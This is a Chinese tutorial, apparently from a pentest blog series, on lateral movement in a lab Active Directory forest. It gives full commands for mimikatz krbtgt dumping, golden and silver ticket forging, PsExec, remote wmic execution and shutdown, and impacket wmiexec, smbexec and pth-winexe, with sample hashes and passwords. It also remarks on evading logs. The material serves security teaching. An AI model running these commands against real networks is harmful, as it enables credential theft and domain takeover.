
系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,并在上期权限提升中将普通用户权限提升为system最高权限后,今天我们就来对域森林进行横向移动,总结实战中会遇到的横向移动各种方法,利用这些方法在内网中遨游!
不会内网横向移动技术,就无法对内网机器进行进一步的渗透!!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
接下来将演示分析内网中的横向移动各种方法,利用该方法在域森林中旅行!
三、黄金票据横向移动
1、黄金票据简介
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
所需条件:
1. 需要伪造的域管理员用户名
2. 完整的域名
3. 域SID
4. krbtgt的NTLM Hash
2、票据条件信息收集
伪造凭据提升域内普通用户的权限,我们现在以一个本地administrator权限用户登录域内的一个主机中!
1)判断无票据
klist purge #windows命令行下清除票据
目前是无票据状态!
2)获取域名信息
net config workstation
可知域名为:dayu和其他信息。
3)获取主机名
nltest /dsgetdc:域名
可知DC主机名为:dayu1,通过上期方法上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:
3、获取krbtgt信息
1)导出用户krbtgt的hash
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:xiyou.dayu.com /all /csv
成功获取krbtgt的hash值为:
39601ebdad1d3e960ed3712398d3ab3a
2)查看域中所有SID
两种方法可以看到krbtgt用户的SID!
lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt
wmic useraccount get name,sid
成功获取krbtgt的SID值,可以开始进行票据攻击了!
4、黄金票据攻击
利用mimikatz生成金票生成.kirbi文件并保存!
mimikatz.exe "kerberos::golden /admin:systest /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /krbtgt:39601ebdad1d3e960ed3712398d3ab3a /ticket:ticket.kirbi" exit
/admin:伪造的用户名(任意)
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
可看到通过前期的条件获取,成功在普通域用户上创建了ticket.kirbi黄金票据,接下来进行使用票据!
5、使用黄金票据
我们可以ticket.kirbi保存起来,任何情况下都可以通过该票据进行登录到域控制器,那么怎么使用呢,接下来将演示!
1)登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中:
kerberos::purge
kerberos::ptt ticket.kirbi
成功导入票据!
2)验证金票
可看到成功导入金票!
dir \\xiyou.xiyou.dayu.com\c$
命令执行成功!成功访问,直接通过上期技术建立计划任务即可!
四、白银票据横向移动
通过黄金票据伪造的TGT,获取到了子域控制器的任意时间段横向移动的方法后,还有另外一个技术叫白银票据。黄金票据是伪造TGT,那么白银票据就是伪造的ST了,在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让Client访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
1、白银票据条件
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
1. 域名
2. 域SID(test)
3. 目标服务器的FQDN
4. 可利用的服务
5. 服务账号的NTLM Hash
6. 要伪造的用户名
接下来我们将每个条件进行信息收集!
2、白银票据条件信息收集
我们现在以一个本地administrator用户登录域内的一个主机中!
1)获取域名
net config workstation
可知域名为:xiyou.dayu.com!
2)获取主机名
nltest /dsgetdc:xiyou.dayu.com
可知DC主机名为:xiyou.xiyou.dayu.com,方便后期远控使用!
3)获取域SID
whoami /all
成功获取域SID:S-1-5-21-1816246241-4074331134-2257350442
4)获取本机NTLM hash
上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
f5369b5accc878d9eedfcde13578e2fc
3、白银票据攻击
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<要伪造的用户名,任意填写> /ptt
kerberos::golden /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /target:xiyou.xiyou.dayu.com /service:cifs /rc4:f5369b5accc878d9eedfcde13578e2fc /user:testw /ptt
1. /domain:域名
2. /sid:域的SID值
3. /target: 域控制器全称即FQDN
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机账户ntlm hash
6. /user: 要伪造的用户名,任意填写
成功通过信息收集获得的域名、域SID、服务账号的hash、随意的伪造用户等信息,伪造的服务默认选择了cifs,最后利用mimikatz进行了白银票据横向攻击,获得了白银票据并直接写入普通域用户票据中!
4、白银票据使用
dir \\xiyou.xiyou.dayu.com\c$
命令执行成功!成功访问子域控制器共享目录,直接通过上期技术建立计划任务即可!
通过黄金票据和白银票据,大家已经有两个票证在手了,将继续介绍如何在有IPC建立、哈希建立、票据建立后进一步横向操作的技术呢,接下来开始演示!
五、PsExec横向移动
PsExec是SysInternals套件中的一款功能强大的软件。起初PsExec主要用于大批量Windows主机的运维,在域环境下效果尤其好。但是,攻击者渐渐开始使用PsExec,通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议RDP进行图形化控制,降低了恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中)。PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016(包括64位版本)上运行。
1、PsTools工具包
下载地址:
https://download.sysinternals.com/files/PSTools.zip
通过PsExec可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。PsExec的基本原理是通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXESVC”的进制文件,通过psexec服务运行命令,运行结束后删除服务。
2、PsExec横向(一)
需要获取目标操作系统的交互式Shell在建立了ipc$的情况下,执行如下命今,获取System权限的Shell。
1)建立IPC
net use \\10.10.3.6\ipc$ "QWEasd123" /user:xiyou1\administrator
2)PsExec控制
PsExec64.exe \\10.10.3.6 cmd.exe
通过点击Agree确认后,成功通过IPC管道在目标系统上创建一个psexec服务,成功控制目标系统!并查看到IP信息!
3)思路拓展操作
PsExec64.exe -accepteual \\10.10.3.6 -s cmd.exe
-accepteula: 第一次运行PsExec会弹出确认框,使用该参数就不会出现
-s: 以system权限运行远程进程,获得一个system权限的交互式shell,不使用此参数获得一个administrator的shell
使用该命令不会弹框确认!
3、PsExec横向(二)
如果没有建立ipc$的情况下,PsExec有两个参数可以通过指定账户和密码进行远程连接!
PsExec64.exe \\10.10.3.6 -u "xiyou1\administrator" -p QWEasd1234 -s cmd.exe
#-u 域\用户名 -p密码
无IPC管道前提下,PsExec横向也是支持用户名密码的!!
4、PsExec注意事项
在使用PsExec时,需要注意以下几点:
需更远程系统开启admin$共享(默认是开启的)
在使用ipc$连接目标系统后,不需要输人账号和密码。
在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
使用PsExec可以直接获得System权限的交互式Shell。
六、WMI横向攻击
WMI的全名为“ Windows Management Instrumentation"。从Windows 98开始,Windows系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。
自PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,可以使用WMI进行横向移动。通过渗透测试发现,在使用wmi.exe进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为在这个过程中不会产生日志,所以对网络管理员来说增加了攻击溯源成本。而对攻击者来说,其被发观的可能性有所降低、隐救性有所提高。所以越来越多的APT使用WMI攻击...
WMIC不会留下痕迹,可以学一波!!
1、系统自带WMI横向
1)在远程计算上创建notepad.exe进程
wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "c:\windows\notepad.exe"
成功创建!
2)查询远程计算机上的进程列表
wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process get name,executablepath,processid
成功获得目标系统进程信息!
3)将获得到的远程计算机进程列表保存到本地
wmic/output:c:\process.html /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process get processid,name,executablepath/format:dayu.xsl
命令是对的,但是本地没有安装excel,无法保存!
4)使用目标系统的cmd.exe执行条命令,将执行结果保存在C盘中:
wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "cmd.exe /c ipconfig > C:\ip.txt"
可看到成功创建ip.txt并保存了信息!
5)重启或关闭系统
重启远程计算机
wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "shutdown -r -f"
关闭远程计算机
wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "shutdown -s -f"
这里操作主要是在后期运行权限维持后,可以进行操作获得明文密码等!!
2、impacket工具包中的wmiexec
在Kali中下载并安装impacket工具包。输人命令后,获取目标shell,存在Windows版本和Linux版本,Linux版本方法主要在从Linux向Windows进行横向渗透测试时使用。
1)Linux版本
一般环境下是linux横向windows使用的,但是利用代理也能在kali上运行自如!这里我使用了FRP代理了流量出来,并在kali上使用proxychains进行全局代理成功!!
proxychains ./wmiexec.py asp.net:123456aa..@192.168.52.138
成功交互控制目标系统!
2)Windows版本
下载地址:
https://github.com/maaaaz/impacket-examples-windows
wmiexec.exe asp.net:123456aa..@192.168.52.138
武器库在什么环境下就选择类型进行横向,windows横向windows环境也是没问题的!
3、Pth-winexe横向攻击
Pth-winexe是kali渗透系统自带的一个工具,可以进行横向PTH攻击!也支持全局代理横向渗透!非常好用!
pth-winexe -U testq%QWEasd123 --system --ostype=1 //10.10.3.6 cmd
可看到简单好用,直接通过多级代理控制对方域环境控制器系统!在本地kali上继续横向操作!!
4、拓展技巧
对于WMI、wmiexec、Pth-winexe都是横向攻击非常好的工具,那么还有那个也非常不错呢,在分享一个给大家!
smbexe可以通过文件共享(admins cs、ipes. d$)在远程系统中执行命令。
impacket工具包中的smbexec.py,kali自带smbexec.py:
cd /usr/share/doc/python3-impacket/examples
python3 smbexec.py asp.net:123456aa..\@192.168.52.138
可看到简单好用,直接通过多级代理控制对方域环境控制器系统!在本地kali上继续横向操作!!
七、总结
黄金票据 -> 白银票据 -> PsExec横向移动 -> WMI横向移动 -> wmiexec横向移动 -> Pth-wmiexec横向移动 -> smbexec横向移动...进行横向攻击思路后,层层连接建立横向思路进行攻击渗透,给小伙伴们建立了在提权模块后横向移动的多级思路!
如果不会这几种方法进行横向移动,就很难在内网中旅行,无法见到更多的风景,学习今天的方法,通过多种方法获取到哈希值进行哈希票据攻击获得目标系统权限,就可以在该公司域森林中遨游了!
公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> 域森林中横向移动(下)-> 域森林中域控制安全(上)......
接下来在《域森林中域控制安全(上)》中会接触到对于防御方和系统底层存放密码的知识,如果利用各种方法获取系统底层的哈希密码信息的方式方法!如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中域控制安全篇章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)